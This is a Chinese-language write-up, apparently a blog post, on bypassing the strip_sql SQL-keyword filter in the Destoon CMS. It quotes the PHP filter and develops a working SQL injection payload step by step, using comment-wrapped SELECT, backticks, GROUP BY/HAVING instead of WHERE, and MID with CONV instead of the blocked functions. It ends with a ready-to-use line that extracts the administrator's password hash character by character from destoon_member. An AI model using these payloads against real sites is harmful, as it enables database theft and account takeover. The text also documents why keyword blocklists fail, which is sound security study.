destoon waf bypass (strip_sql)
function strip_sql($string, $type = 1) {
$match = array("/union/i","/where/i","/outfile/i","/dumpfile/i","/0x([a-f0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\{\(\+@])/i","/update([\s\*\/\-\{\(\+@])/i","/replace([\s\*\/\-\{\(\+@])/i","/delete([\s\*\/\-\{\(\+@])/i","/drop([\s\*\/\-\{\(\+@])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i");
$replace = array('union','where','outfile','dumpfile','0x\\1','select\\1from','select\\1','update\\1','replace\\1','delete\\1','drop\\1','load_file(','substring(','substr(','left(','concat(','concat_ws(','make_set(','ascii(','hex(','ord(','char(');
if($type) {
return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string);
} else {
分析过程
select from和select的绕过技巧
漏洞的成因主要是程序人员对注入的不熟悉。过滤关键字的这种封堵方式早晚会出问题的。
首先,我们尝试输入一个常见的sql语句看看发送了什么
<?php
// sql=select 1
$sql = $_GET['sql'];
echo strip_sql($sql);
这时候输出的应该是 select1。主要是被select([\s\*\/\-\{\(\+@])这一条进行替换的。`
这条规则主要是判断了{ ( @等等。之前dede出了个漏洞使用了@a=这个技巧,现在看来不能用了。这个问题比较好解决。我们可以使用
我们可以使用( `)这个符号,它的叫accent。英文模式下按1左边的那个按键可以打出来。
接下来我们再试一下 sql=select`1`from`admin`。结果如下:
selec& #116;\`1\`from\`admin\`
被select([\s\S]*?)from检测到了。
这个函数比狠,我差点就放弃了。因为[\s\S]*?代表的含义是所有的字符。只有是同时出现select和from。那select必定要被替换掉。
思考了很久之后,我打算尝试利用他的字符替换,绕过她的防御体系。经过几次构造以后,我构造出了这个
sql = /*select*/SELECT`password`from `destoon_member`
当优先到达select([\s\S]*?)from时,我们的语句被被替换为
sql = /*selec& #116;*/SELECT`password`from `destoon_member`
当程序走到下一步 select([\s\*\/\-\{\(\+@])。我们的语句里只有了一个select,且不符合他的替换条件。那么语句可以原封不动的往下走。
sql = /*selec& #116;*/SELECT`password`from `destoon_member`
因为/* 与 */是mysql里的注释符。所以这句sql不会引起任何的错误。
where 的绕过技巧
这一步绕过了还不算完,因为我们要定位userid=1的用户。因为/where/i的原因,where是不能出现了,我们要利用其他的技巧。
sql = /*select*/SELECT`password`from `destoon_member` GROUP BY userid HAVING userid = 1
GROUP BY + HAVING 是可以帮助我们定位的。
字符猜解的绕过技巧
程序中过滤了很多猜解字符串需要的函数例如:substring/substr/left...但是好像忘记了right和mid?
sql = mid( (/*selec*/SELECT`password`from `destoon_member` GROUP BY userid HAVING userid = 1) , 1, 1 )
找到字符以后,需要对字符串进行转换。这方面,程序对ascii、hex、ord、char进行了过滤,但是CONV呢?
CONV(mid( (/*selec*/SELECT`password`from `destoon_member` GROUP BY userid HAVING userid = 1) , 1, 1 ),16,10)=16
最后
我们可以使用下方语句bypass waf。
CONV(mid( (/*selec*/SELECT`password`from `destoon_member` GROUP BY userid HAVING userid = 1) , 1, 1 ),16,10)=16